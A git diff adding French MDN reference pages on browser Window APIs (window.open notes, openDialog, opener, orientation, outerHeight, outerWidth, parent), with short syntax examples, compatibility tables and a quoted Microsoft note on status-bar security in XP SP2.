+ <li>l'utilisateur utilise des technologies assistives ou addons qui modifient la zone de travail des applications, par exemple Microsoft Magnifier</li>
+ <li>l'utilisateur repositionne et/ou redimensionne directement la zone de travail des apllications : par exemple il redimensionne la barre des tâches de Windows, la place sur le côté gauche de l'écran (versions en langues arabes) ou sur la droite (versions en hébreu), l'utilisateur a une barre de lancement rapide Microsoft Office, etc.</li>
+ <li>certains systèmes d'exploitation (Mac OS X) forcent la présence de barres d'outils qui peuvent démentir les anticipations et calculs de l'auteur Web sur les dimensions effectives de la fenêtre de navigation</li>
+</ul>
+
+<h4 id="Note_sur_la_barre_d.27.C3.A9tat" name="Note_sur_la_barre_d.27.C3.A9tat">Note sur la barre d'état</h4>
+
+<p>Vous devez vous attendre à ce qu'une large majorité des navigateurs affichent la barre d'état, ou qu'une large majorité des utilisateurs voudront forcer sa présence : le mieux est de toujours positionner cette fonctionnalité à yes. De plus, si vous demandez spécifiquement de retirer la barre d'état, les utilisateurs de Firefox ne pourront plus utilser la barre de navigation de site si elle est installée. Dans Mozilla et dans Firefox, toutes les fenêtres peuvent être redimensionnées à partir de la zone inférieure droite de la barre d'état. Celle-ci fournit également des informations sur la connexion http, l'emplacement des ressources hypertextes, la barre de progression du téléchargement, l'icône de chiffrement/connexion sécurisée avec <abbr title="Secure Socket Layer">SSL</abbr> (affichant une icône de cadenas jaune), des icônes de zones de sécurité, de politique de sécurité en matière de cookies, etc. <strong>Enlever la barre d'état retire souvent de très nombreuses fonctionnalités et informations considérées comme utiles (et parfois vitales) par les utilisateurs.</strong></p>
+
+<h4 id="Note_sur_les_probl.C3.A8mes_de_s.C3.A9curit.C3.A9_li.C3.A9s_.C3.A0_la_pr.C3.A9sence_de_la_barre_d.27.C3.A9tat" name="Note_sur_les_probl.C3.A8mes_de_s.C3.A9curit.C3.A9_li.C3.A9s_.C3.A0_la_pr.C3.A9sence_de_la_barre_d.27.C3.A9tat">Note sur les problèmes de sécurité liés à la présence de la barre d'état</h4>
+
+<p>Dans Internet Explorer 6 pour XP SP2, pour les fenêtres ouvertes à l'aide de window.open() :</p>
+
+<blockquote>
+<p>« Pour les fenêtres ouvertes à l'aide de window.open() :<br>
+ Attendez-vous à ce que la barre d'état soit présente, et codez en conséquence. <strong>La barre d'état sera activée par défaut</strong> et fait entre 20 et 25 pixels de haut. (...) »<br>
+ citation de <a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2</a></p>
+</blockquote>
+
+<blockquote>
+<p>« (...) les fenêtres créées à l'aide de la méthode window.open() peuvent être appelées par des scripts et utilisées pour imiter une fausse interface utilisateur ou bureau, ou pour masquer des informations ou des activités malveillantes en dimensionnant la fenêtre de manière à rendre la barre d'état invisible.<br>
+ Les fenêtres d'Internet Explorer fournissent des informations de sécurité visibles par l'utilisateur pour l'aider à identifier avec certitude la source de la page et le niveau de sécurité de la communication avec cette page. Lorsque ces éléments ne sont pas visibles, les utilisateurs peuvent penser qu'ils sont sur une page plus digne de confiance ou interagissent avec un processus système alors qu'il sont en train d'interagir avec un hôte malveillant. (...)<br>
+ <strong>Les fenêtres lancées par des scripts seront affichées entièrement, avec la barre de titre d'Internet Explorer et sa barre d'état.</strong> (...)<br>
+ Gestion de la barre d'état d'Internet Explorer par les scripts<br>
+ Description détaillée<br>
+ <strong>Internet Explorer a été modifié pour ne désactiver la barre d'état pour aucune fenêtre. La barre d'état est toujours visible pour toutes les fenêtres d'Internet Explorer.</strong> (...) Sans ce changement, les fenêtres créées à l'aide de la méthode window.open() peuvent être appelées par des scripts et imiter une fausse interface utilisateur ou bureau, ou pour masquer des informations importantes pour l'utilisateur.<br>
+ La barre d'état est une fonction de sécurité des fenêtres d'Internet Explorer qui fournissent à l'utilisateur des informations sur les zones de sécurité. Cette zone ne peut pas être imitée (...)"<br>
+ citation de <a class="external" href="http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2brows.mspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions</a></p>
+</blockquote>
+
+<h4 id="Note_sur_le_plein_.C3.A9cran_.28fullscreen.29" name="Note_sur_le_plein_.C3.A9cran_.28fullscreen.29">Note sur le plein écran (fullscreen)</h4>
+
+<p>Dans Internet Explorer 6 pour XP SP2 :</p>
+
+<ul>
+ <li>« window.open() avec fullscreen=yes donnera à présent une fenêtre maximisée, et non une fenêtre en mode kiosque. »</li>
+</ul>
+
+<ul>
+ <li>« La définition de la spécification de fullscreen=yes est modifiée pour signifier "afficher la fenêtre maximisée," ce qui gardera la barre de titre, la barre d'adresse et la barre d'état visibles. »</li>
+</ul>
+
+<p><em>Références :</em></p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2</a></li>
+</ul>
+
+<ul>
+ <li><a class="external" href="http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2brows.mspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows</a></li>
+</ul>
+
+<h4 id="Note_sur_la_diff.C3.A9rence_entre_outerHeight_et_height" name="Note_sur_la_diff.C3.A9rence_entre_outerHeight_et_height">Note sur la différence entre outerHeight et height</h4>
+
+
+
+<h3 id="Tutoriels" name="Tutoriels">Tutoriels</h3>
+
+<p><strong>en français :</strong></p>
+
+<p><a class="external" href="http://openweb.eu.org/articles/popup/">Créer des pop-up intelligentes</a> par Fabrice Bonny, OpenWeb</p>
+
+<p><strong>en anglais :</strong></p>
+
+<p><a class="external" href="http://www.infimum.dk/HTML/JSwindows.html">JavaScript windows (tutorial)</a> par Lasse Reichstein Nielsen</p>
+
+<p><a class="external" href="http://www.accessify.com/tutorials/the-perfect-pop-up.asp">The perfect pop-up (tutorial)</a> par Ian Lloyd</p>
+
+<p><a class="external" href="http://www.gtalbot.org/FirefoxSection/Popup/PopupAndFirefox.html">Popup windows and Firefox (interactive demos)</a> par Gérard Talbot</p>
+
+<h3 id="R.C3.A9f.C3.A9rences" name="R.C3.A9f.C3.A9rences">Références</h3>
+
+<p><a class="external" href="http://www.cs.tut.fi/~jkorpela/www/links.html">Links Want To Be Links</a> by Jukka K. Korpela</p>
+
+<p><a class="external" href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links &amp; JavaScript Living Together in Harmony</a> by Jeff Howden</p>
+
+
+
+<div class="noinclude"></div>
+
+<p>{{ languages( { "en": "en/DOM/window.open", "ja": "ja/DOM/window.open", "pl": "pl/DOM/window.open", "zh-cn": "cn/DOM/window.open" } ) }}</p>
diff --git a/files/fr/web/api/window/opendialog/index.html b/files/fr/web/api/window/opendialog/index.html
new file mode 100644
index 0000000000..1c366c5355
--- /dev/null
+++ b/files/fr/web/api/window/opendialog/index.html
@@ -0,0 +1,111 @@
+---
+title: window.openDialog
+slug: Web/API/Window/openDialog
+tags:
+  - DOM
+  - Gecko
+  - Window
+  - boîte de dialogue
+translation_of: Web/API/Window/openDialog
+---
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">{{ ApiRef() }}</p>
+
+<h3 id="Summary" name="Summary">Résumé</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;"><code style="color: rgb(37, 34, 29); font-weight: inherit;">window.openDialog</code> est une extension à <a href="/fr/DOM/window.open" title="fr/DOM/window.open">window.open()</a>. Elle s'utilise de la même manière, excepté qu'elle peut prendre plusieurs paramètres optionnels après <code style="color: rgb(37, 34, 29); font-weight: inherit;">windowFeatures</code>, et que <code style="color: rgb(37, 34, 29); font-weight: inherit;">windowFeatures</code> est traîté différemment.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Les paramètres optionnels, si présents, seront regroupés dans un objet JavaScript Array et seront accessibles depuis la nouvelle fenêtre par la propriété <code>window.arguments</code>. Ils sont accessibles depuis les scripts de la fenêtre à tout moment, notamment lors du traitement d'un évênement <code style="color: rgb(37, 34, 29); font-weight: inherit;">load</code> . Ces paramètres peuvent donc être utilisés pour passer des arguments à une boîte de dialogue, et pour les récupérer ensuite.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Notez que l'appel à la méthode <code style="color: rgb(37, 34, 29); font-weight: inherit;">openDialog()</code> se termine immédiatement. Si vous souhaitez le bloquer jusqu'à ce que l'utilisateur ferme la boîte de dialogue, utilisez la valeur <code style="color: rgb(37, 34, 29); font-weight: inherit;">modal</code> pour le paramètre f<code style="color: rgb(37, 34, 29); font-weight: inherit;">eatures</code>. En conséquence, l'utilisateur ne pourra pas interagir avec la fenêtre parente jusqu'à ce qu'il ferme la boîte de dialogue modale.</p>
+
+<h3 id="Syntax" name="Syntax">Syntaxe</h3>
+
+<pre class="eval"><em>newWindow</em> = openDialog(<em>url</em>, <em>name</em>, <em>features</em>, <em>arg1</em>, <em>arg2</em>, ...)
+</pre>
+
+<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+ <dt style="font-style: normal; font-weight: bold;">newWindow </dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">La nouvelle fenêtre ouverte.</dd>
+ <dt style="font-style: normal; font-weight: bold;">url </dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">L'URL du document à charger dans la nouvelle fenêtre.</dd>
+ <dt style="font-style: normal; font-weight: bold;">name </dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Le nom de la fenêtre (optionnel). Voir la description de <a href="/fr/DOM/window.open" title="fr/DOM/window.open">window.open()</a> pour plus de détails.</dd>
+ <dt style="font-style: normal; font-weight: bold;">features </dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Voir la description de <a href="/fr/DOM/window.open" title="fr/DOM/window.open">window.open()</a> pour la description.</dd>
+ <dt style="font-style: normal; font-weight: bold;">arg1, arg2, ... </dt>
+ <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Les arguments à passer à la nouvelle fenêtre (optionnel).</dd>
+</dl>
+
+<h3 id="Example" name="Example">Exemple</h3>
+
+<pre class="brush: js">var win = openDialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98);</pre>
+
+<h3 id="Notes" name="Notes">Notes</h3>
+
+<h4 id="New_Features" name="New_Features">Nouvelles fonctionnalités</h4>
+
+<dl>
+ <dt><code>all</code></dt>
+</dl>
+
+<dl>
+ <dd>Active ou désactive (<code>"all=no"</code>) toutes les fonctionnalités (excepté <code>chrome</code>, <code>dialog</code> et <code>modal</code>). Peut être utilisé conjointement avec les autres drapeaux (par exemple, <code>"menubar=no, all"</code> active toutes les fonctionnalités excepté <code>menubar</code>). Ce drapeau est ignorée par la méthode <a href="/fr/DOM/window.open" title="fr/DOM/window.open">window.open()</a> mais pas par window.openDialog().</dd>
+</dl>
+
+<h4 id="Default_behaviour" name="Default_behaviour">Comportement</h4>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">La méthode <code>window.openDialog()</code> traite l'absence du paramètre <code>features</code> de la même manière que <a href="/fr/DOM/window.open" title="fr/DOM/window.open">window.open()</a> (une chaîne vide désactive toutes les fonctionnalités) excepté pour <code>chrome</code> et <code>dialog</code> qui sont activés par défaut et peuvent être explicitement désactivées par "<code style="color: rgb(37, 34, 29); font-weight: inherit;">chrome=no</code>".</p>
+
+<h4 id="Passing_extra_parameters_to_the_dialog" name="Passing_extra_parameters_to_the_dialog">Passage de paramètres supplémentaires</h4>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Pour passer des paramètres supplémentaires à la boîte de dialogue, vous pouvez simplement les ajouter après le paramètre f<code style="color: rgb(37, 34, 29); font-weight: inherit;">eatures</code> :</p>
+
+<pre class="brush: js">openDialog("http://example.tld/zzz.xul", "dlg", "", "pizza", 6.98);</pre>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Ces paramètres seront ensuite regroupés dans une propriété <code style="color: rgb(37, 34, 29); font-weight: inherit;">arguments</code> de type <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Array" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array">Array</a>, et cette propriété sera ajoutée à la nouvelle boîte de dialogue.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Pour accéder à ces paramètres depuis un script de la boîte de dialogue, utilisez le procédé suivant :</p>
+
+<pre class="brush: js">var food = window.arguments[0];
+var price = window.arguments[1];</pre>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Notez que vous pouvez accéder à cette propriété depuis n'importe où dans le script. (<a href="/en/Code_snippets/Dialogs_and_Prompts#Passing_arguments_and_displaying_a_dialog" title="en/Code snippets/Dialogs and Prompts#Passing arguments and displaying a dialog">Autre exemple</a>).</p>
+
+<h4 id="Returning_values_from_the_dialog" name="Returning_values_from_the_dialog">Retourner des arguments depuis la boîte de dialogue</h4>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Depuis que <code style="color: rgb(37, 34, 29); font-weight: inherit;"><a href="/fr/DOM/window.close" title="fr/DOM/window.close">window.close()</a></code> efface toutes les propriétés associées à la boîte de dialogue (c'est-à-dire les variables spécifiées depuis le code JavaScript chargé depuis la boîte de dialogue), il n'est pas possible de retourner des valeur après la fermeture de la boîte de dialogue en utilisant des variables globales (ou toute autre méthode).</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Pour pouvoir retourner des valeurs à la fenêtre parente, vous devez passer un objet via les paramètres supplémentaires. Vous pouvez ensuite accéder à cet objet depuis la boîte de dialogue et modifier ces propriétés, dont les données que vous souhaiter conserver après l'appel à la méthode <code style="color: rgb(37, 34, 29); font-weight: inherit;">window.close()</code>.</p>
+
+<pre class="brush: js">var retVals = { address: null, delivery: null };
+openDialog("http://example.tld/zzz.xul", "dlg", "modal", "pizza", 6.98, retVals);</pre>
+
+<p>Si vous modifiez les propriétés de l'objet <code style="color: rgb(37, 34, 29); font-weight: inherit;">retVals</code> depuis la boîte de dialogue comme décrit précédemment, vous pouvez y accéder via le tableau <code style="color: rgb(37, 34, 29); font-weight: inherit;">retVals</code> après l'appel à <code style="color: rgb(37, 34, 29); font-weight: inherit;">openDialog()</code>.</p>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Depuis la boîte de dialogue, vous pouvez modifier les propriétés comme suit :</p>
+
+<pre class="brush: js">var retVals = window.arguments[2];
+retVals.address = enteredAddress;
+retVals.delivery = "immediate";</pre>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Voir aussi <a class="external" href="http://groups.google.com/group/netscape.public.dev.xul/msg/02075a1736406b40" title="http://groups.google.com/group/netscape.public.dev.xul/msg/02075a1736406b40">ce message</a>. (<a href="/en/Code_snippets/Dialogs_and_Prompts#Passing_arguments_and_displaying_a_dialog" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Code_snippets/Dialogs_and_Prompts#Passing_arguments_and_displaying_a_dialog">Autre exemple</a>).<br>
+ Voir aussi <a href="/fr/DOM/window.importDialog" title="fr/DOM/window.importDialog">window.importDialog()</a>.</p>
+
+<h3 id="Specification" name="Specification">Spécification</h3>
+
+<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">{{ DOM0() }}</p>
+
+<h3 id="Compatibilité_des_navigateurs" style="margin: 0px 0px 1.7em; padding: 0px;">Compatibilité des navigateurs</h3>
+
+<p>{{Compat("api.Window.openDialog")}}</p>
+
+<h3 id="Voir_également">Voir également</h3>
+
+<p> </p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/Dialogs_and_Prompts#Passing_arguments_and_displaying_a_dialog">Another example</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Archive/Web/Window.importDialog"><code>window.importDialog</code></a> (mobile) {{obsolete_inline}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/window/opener/index.html b/files/fr/web/api/window/opener/index.html
new file mode 100644
index 0000000000..43c965d501
--- /dev/null
+++ b/files/fr/web/api/window/opener/index.html
@@ -0,0 +1,27 @@
+---
+title: window.opener
+slug: Web/API/Window/opener
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/opener
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie une référence vers la fenêtre qui a ouvert la fenêtre courante.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>refObj</i> = window.opener
+</pre>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre> if window.opener != indexWin {
+     referToTop(window.opener);
+ }
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Lorsqu'une fenêtre est ouverte depuis une autre fenêtre, elle conserve une référence à cette première fenêtre dans <b>window.opener</b>. Si la fenêtre courante n'a pas été ouverte par une autre fenêtre, la méthode renvoie <code>null</code>.</p>
+<h3 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécification</h3>
+<p>{{ DOM0() }}</p>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/DOM/window.opener", "ja": "ja/DOM/window.opener", "pl": "pl/DOM/window.opener" } ) }}</p>
diff --git a/files/fr/web/api/window/orientation/index.html b/files/fr/web/api/window/orientation/index.html
new file mode 100644
index 0000000000..fb06ea1c88
--- /dev/null
+++ b/files/fr/web/api/window/orientation/index.html
@@ -0,0 +1,37 @@
+---
+title: Window.orientation
+slug: Web/API/Window/orientation
+translation_of: Web/API/Window/orientation
+---
+<div>{{APIRef}}{{deprecated_header}}</div>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Renvoie l'orientation en degrés (par incréments de 90 degrés) de la fenêtre par rapport à l'orientation naturelle de l'appareil.</p>
+
+<p>Les seules valeurs possibles sont <code>-90</code>, <code>0</code>, <code>90</code>, et <code>180</code>. Les valeurs positives sont dans le sens des aiguilles d'une montre; les valeurs négatives sont dans le sens antihoraire.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#dom-window-orientation', 'Window.orientation')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden"><span class="tlid-translation translation" lang="fr"><span title="">Le tableau de compatibilité de cette page est généré à partir de données structurées.</span> <span title="">Si vous souhaitez contribuer aux données, veuillez consulter</span></span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et nous envoyer une pull request.</div>
+
+<p>{{Compat("api.Window.orientation")}}</p>
diff --git a/files/fr/web/api/window/outerheight/index.html b/files/fr/web/api/window/outerheight/index.html
new file mode 100644
index 0000000000..9dab0e95d3
--- /dev/null
+++ b/files/fr/web/api/window/outerheight/index.html
@@ -0,0 +1,110 @@
+---
+title: Window.outerHeight
+slug: Web/API/Window/outerHeight
+translation_of: Web/API/Window/outerHeight
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p><code>Window.outerHeight</code> retourne la hauteur de la fenêtre (du navigateur) en pixels. La hauteur retournée prends en compte la fenêtre du navigateur entier, y compris la barre latérale, window chrome and window resizing borders/handles.</p>
+
+<p>Cette propriété n'a pas de valeur par défaut.</p>
+
+<p>Syntaxe</p>
+
+<pre class="syntaxbox"><var>outWindowHeight</var> = window.outerHeight;
+</pre>
+
+<p>La valeur retournée correspond à la hauteur extérieure de la fenêtre.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Pour changer la taille de la fenêtre, utilisez {{domxref("window.resizeBy()")}} et {{domxref("window.resizeTo()")}}.</p>
+
+<p>Pour obtenir la hauteur intérieure de la fenêtre (la hauteur de la page actuelle), utilisez {{domxref("window.innerHeight")}}.</p>
+
+<h3 id="Graphical_example" name="Graphical_example">Exemple illustré</h3>
+
+<p>La figure suivante montre la différence entre <code>outerHeight</code> et <code>innerHeight</code>.</p>
+
+<p><img alt="innerHeight vs outerHeight illustration" src="/@api/deki/files/213/=FirefoxInnerVsOuterHeight2.png"></p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-outerheight', 'Window.outerHeight') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.innerHeight")}}</li>
+ <li>{{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.outerWidth")}}</li>
+ <li>{{domxref("window.resizeBy()")}}</li>
+ <li>{{domxref("window.resizeTo()")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/outerwidth/index.html b/files/fr/web/api/window/outerwidth/index.html
new file mode 100644
index 0000000000..bb3f08e90b
--- /dev/null
+++ b/files/fr/web/api/window/outerwidth/index.html
@@ -0,0 +1,111 @@
+---
+title: Window.outerWidth
+slug: Web/API/Window/outerWidth
+tags:
+  - API
+  - CSSOM View
+  - NeedsContent
+  - Property
+  - Reference
+translation_of: Web/API/Window/outerWidth
+---
+<div>{{APIRef}}</div>
+
+<h2 id="Summary" name="Summary">Résumé</h2>
+
+<p><code>Window.outerWidth</code> <span class="tlid-translation translation"><span class="alt-edited">récupère la largeur de l'extérieur de la fenêtre du navigateur. Elle représente la largeur de toute la fenêtre du navigateur, y compris la barre latérale (si elle est agrandie), la fenêtre chrome et le redimensionnement de la fenêtre.</span></span></p>
+
+<p><span class="tlid-translation translation"><span class="alt-edited">Cette propriété est en lecture seule ; elle n'a pas de valeur par défaut.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>largeurExterieureFenetre</var> = window.outerWidth;
+</pre>
+
+<p>Lors du retour, <code>largeurExterieureFenetre</code> vaut la largeur de l'extérieur de la fenêtre.</p>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p><span class="tlid-translation translation"><span class="alt-edited">Pour changer la taille d'une fenêtre, voir {{domxref("window.resizeBy()")}} et {{domxref("window.resizeTo ()")}}.</span></span></p>
+
+<p><span class="tlid-translation translation"><span class="alt-edited">Pour récupérer la largeur interne d'une fenêtre, c'est-à-dire la largeur de la page affichée, voir {{domxref ("window.innerWidth")}}.</span></span></p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>9</td>
+   <td>9</td>
+   <td>3</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Specification" name="Specification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-outerwidth', 'Window.outerWidth') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("window.outerHeight")}}, {{domxref("window.innerHeight")}}, {{domxref("window.innerWidth")}}</li>
+ <li>{{domxref("window.resizeBy()")}}, {{domxref("window.resizeTo()")}}</li>
+</ul>
diff --git a/files/fr/web/api/window/parent/index.html b/files/fr/web/api/window/parent/index.html
new file mode 100644
index 0000000000..f45781f517
--- /dev/null
+++ b/files/fr/web/api/window/parent/index.html
@@ -0,0 +1,25 @@
+---
+title: window.parent
+slug: Web/API/Window/parent
+tags:
+  - DOM
+  - DOM_0
+  - Référence_du_DOM_Gecko
+translation_of: Web/API/Window/parent
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="R.C3.A9sum.C3.A9" name="R.C3.A9sum.C3.A9">Résumé</h3>
+<p>Renvoie une référence à la fenêtre parente ou cadre parent de la fenêtre courante ou du cadre courant.</p>
+<h3 id="Syntaxe" name="Syntaxe">Syntaxe</h3>
+<pre class="eval"><i>refObj</i> = window.parent
+</pre>
+<h3 id="Exemple" name="Exemple">Exemple</h3>
+<pre class="eval">if (window.parent != window.top) {
+     // on se trouve dans une imbrication de cadres
+}
+</pre>
+<h3 id="Notes" name="Notes">Notes</h3>
+<p>Si une fenêtre n'a pas de parent, sa propriété <b>parent</b> est une référence vers elle-même.</p>
